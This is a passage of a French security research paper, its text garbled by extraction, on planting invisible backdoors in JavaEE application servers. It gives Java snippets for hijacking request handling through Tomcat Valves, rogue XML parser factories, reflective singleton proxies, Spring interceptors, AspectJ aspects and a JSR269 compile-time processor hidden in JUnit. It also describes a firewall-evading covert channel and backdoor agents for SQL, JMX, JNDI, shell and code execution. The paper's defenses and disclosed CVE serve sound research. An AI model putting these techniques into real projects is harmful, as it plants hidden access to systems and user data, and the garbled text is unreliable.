Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
Filer filer = processingEnvgetFiler ()
Messager messager = processingEnvgetMessager ()
Elements eltUtils =
processingEnvgetElementUtils ()
if ( rndEnvprocessingOver () ampamp onetime)
onetime=true
try
final String filterClass=
Filter3classgetName ()
5 httptinyurlcomc9dzao
408 Porte derobee dans les serveurs drsquoapplications JavaEE
JavaFileObject jfo=
filercreateClassFile(filterClass)
InputStream in=
FilterclassgetClassLoader ()
getResourceAsStream(
filterClassreplaceAll()+class)
OutputStream out=jfoopenOutputStream ()
final byte[] tampon=new byte [4096]
int len
while ((len = inread(tampon)) gt 0)
outwrite(tampon 0 len)
outclose()
inclose ()
catch (Throwable x)
Ignore
return true
Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires
Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet
Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce
Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation
Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau
25 Detection de lrsquoouverture de la porte
Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement
P Prados 409
Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter
26 Communication discrete
Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo
Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)
Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre
taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes
en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise
une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres
La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)
Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ
La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte
derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML
Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs
6 httpfrwikipediaorgwikiLeet_speak
410 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 6 Communication de la porte derobee
Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier
La grammaire des trames est la suivante
ltM4c4r0n gtlta|bgtltdata gt
Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la
clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)
Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee
La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour
Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons
P Prados 411
Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant
ndashndash La clef en lrsquooccurrence laquo M4c4r0n raquo ndash Le caractere de fin de trame (laquo b raquo) ndash Le mot clef de la commande laquo conf raquo ndash Un caractere indiquant si lrsquoencodage doit etre hexadecimal ou base64 (laquo h raquo ou
laquo b raquo) ndash Un nombre indiquant la taille maximum des trames ndash Le caractere laquo W raquo comme separateur ndash Un nombre indiquant en second la frequence drsquoemission des trames
Par exemple pour demander lrsquoinitialisation de la porte derobee en utilisantlrsquoencodage hexadecimal une taille maximal des trames de 30 caracteres et un poolde 3 secondes il faut valoriser un champ de formulaire texte drsquoune vingtaine decaracteres comme le montre la figure 7
Fig 7 Configuration
Cela ouvre la porte tout en parametrant les communications futures Par defautlrsquoencodage est en base64 les trames ne depassent pas 80 caracteres et le pool est dedeux secondes Il est donc recommande de choisir un champ suffisamment grand pourrecevoir tous ces caracteres
27 Le scenario drsquoexecution
Le scenario drsquoexecution de la porte derobee est le suivant
ndash Etape 1 Declenchement du piegendash Etape 1bis Si necessaire augmentation des privileges en utilisant une tech-
nologie drsquoexecution implicite Puis attente drsquoun redemarrage du serveur drsquoappli-cation
ndash Etape 2 Injection drsquoun filtre sur toutes les requetes HTTP ndash Etape 3 Analyse de toutes les requetes pour detourner le flux de traitement
des requetes lors de la presentation de la clef
412 Porte derobee dans les serveurs drsquoapplications JavaEE
28 Les agents
Differents agents sont proposes par la porte derobee
ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser
Fig 8 History
Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs
Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont
cd ltjndi_name gt
ls
dump ltjndi -name gt
P Prados 413
Fig 9 JNDI
La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes
Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont
cd ltJMX name gt
ls
ltattr gt=ltvaleur gt
method(ltparams gt)
Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut
La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees
Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration
414 Porte derobee dans les serveurs drsquoapplications JavaEE
Fig 10 JMX
Fig 11 JDBC
P Prados 415
Fig 12 JavaJavascript
Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur
